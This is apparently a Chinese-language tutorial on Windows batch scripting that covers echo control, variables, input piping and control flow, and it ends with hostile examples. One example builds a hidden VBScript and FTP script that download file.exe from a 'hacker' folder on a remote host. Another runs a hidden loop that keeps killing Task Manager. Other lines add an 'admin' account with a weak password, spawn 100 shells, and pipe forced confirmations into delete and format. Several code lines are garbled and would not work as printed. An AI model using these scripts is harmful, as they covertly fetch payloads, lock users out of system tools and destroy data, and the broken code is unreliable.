批处理
Batch 批处理
可加入win启动项目自动启动,使用sc注册为服务自启动。还可用于组策略
特殊名称文件:Autoexec.bat 放于系统分区根目录在系统启动时自启动。Winstart.bat 放在win安装目录,启动时自启动
回显控制
# @ 用于不显示本条指令
@echo off # off 即为静默执行
copy z:\a.exe c:\windows
------------------------------
@echo on # on 为显示随后执行的指令
copy z:\a.exe c:\windows
变量
参数变量
%0 ~ %9
%0为文件名,后面依次为传递的参数
环境变量
Set name=value
Set /p var="提示语"
Set /a var=表达式运算结果
-------------------------
@echo off
set ver1="Hello"
set /p ver2="输入ver2的值,按enter确认"
set /a ver3=100+1
echo ver1的值为%ver1% ver2的值为%ver2% ver3的值为%ver3%
已有的环境变量:
输入控制
有些命令执行时需要用户按 Y 进行确认,可用解决方法:
1. echo 按钮 | 需要确认的命令 > nul
echo Y | del *.* > nul
2. 需要多次确认的命令 < 应答文本
FORMAT/Q/U D: < auto.TXT 将卷标、确认等放入txt文件
输出过滤和信息收集
- >
- >>
- |
net view | findstr "\\"
跳转和条件判断
- call
调用其他批处理文件或跳转至标签处
CALL [drive:][path]filename [batch-parameters] # Main.bat echo 安全日志位于: call readreg.bat "HKLM\SYSTEM\CurrentrolSet\services\eventlog\Securit" file echo 系统日志位于: call readreg.bat "HKLM\SYSTEM\CurrentrolSet\services\eventlog\Securit" file # readreg.bat reg query %1 %2 | findstr /i "REG_EXPAND_SZ"
- goto
@echo off :begin cls set input= set /p input=请输入 IP: echo %input%|findstr "^[0-9]*\.[0-9]*\.[0-9]*$">nul | goto fail set _input=%input:.=% call :check %_input% :check if "%4"=="" goto fail for %%i in (%1 %2 %3 %4) do ( if %%i gtr 255 goto fail ) cls echo %input% 是正确的IP echo. pause goto begin :fail cls echo %input% 是错误的 IP echo. pause goto begin
- if
if <逻辑表达式> <需执行的语句> if exist <文件路径及名称> <需执行的语句> if ERRORLEVEL <返回值> <需执行的语句> 表达式: EQU == NEQ LESS GTR GEQ 返回值: 失败返回1,成功返回0 if exit file.txt foto end @ftp -s:file.txt :end net user admin 123 /add @if %ERRORLEVEL% == 1 echo success @if %ERRORLEVEL% == 0 echo fail
- for
1. 循环处理目录 for /D %%变量名 IN (集合) DO (待循环执行的命令) %%变量名,只能用单字母命名,严格区分大小写。集合,指定一个或多个目录,允许使用?和*通配符。 for /D %%i IN (*) DO ( @if not exist .\%%i\file.txt copy file.txt .\%%i ) 2. 循环处理目录内文件与子目录 for /R [[driver:]path] %%变量名 IN (集合) DO (待循环指定命令) # 将C分区中bm文件改名为doc for /r c:/ %%i in (*.bm) do ren %%i *.doc 3. 循环指定次数 for /L %变量名 IN (起始值, 步进, 终止值) DO (待循环执行的命令) #打开100个cmd for /L %i IN (1,1,100) DO start cmd.exe 4. 读取文本文件,以内容作为参数,批次执行循环体语句
示例:
上传下载
查看代码
rem 生成hide.vbs,用于隐藏运行窗口
@echo set ws=CreateObject("Wscript.Shell") > hide.vbs
@echo ws.run "cmd /c ftpaction.bat",vbhide >> hide.vbs
@echo open 192.168.56.5 > ftp.tmp
@echo username >> ftp.tmp
@echo password >> ftp.tmp
@echo cd hacker >> ftp.tmp
@echo get file.exe d:\ >> ftp.tmp
@echo @del hide.vbs > ftpaction.bat
@echo ftp -s:ftp.tmp >> ftpaction.bat
Start hide.vbs
exit
循环关闭任务管理器
查看代码
@echo Set ws=CreateObject("Wscript.Shell") > hide.vbs
@echo ws.run "cmd /c killtaskmgr.bat", vbhide >> hide.vbs
@echo @echo off > killtaskmgr.bat
@echo @del hide.vbs > killtaskmgr.bat
@echo :loop >> killtaskmgr.bat
@echo tskill taskmgr >> killtaskmgr.bat
@echo goto loop >> killtaskmgr.bat
Start hide.vbs
exit